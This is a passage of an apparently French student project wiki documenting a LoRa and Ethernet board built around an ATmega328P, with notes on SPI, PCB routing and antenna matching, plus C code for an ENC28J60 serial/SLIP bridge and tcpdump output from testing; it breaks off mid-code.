Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Donc nous avons écrit un code   &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour voir les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
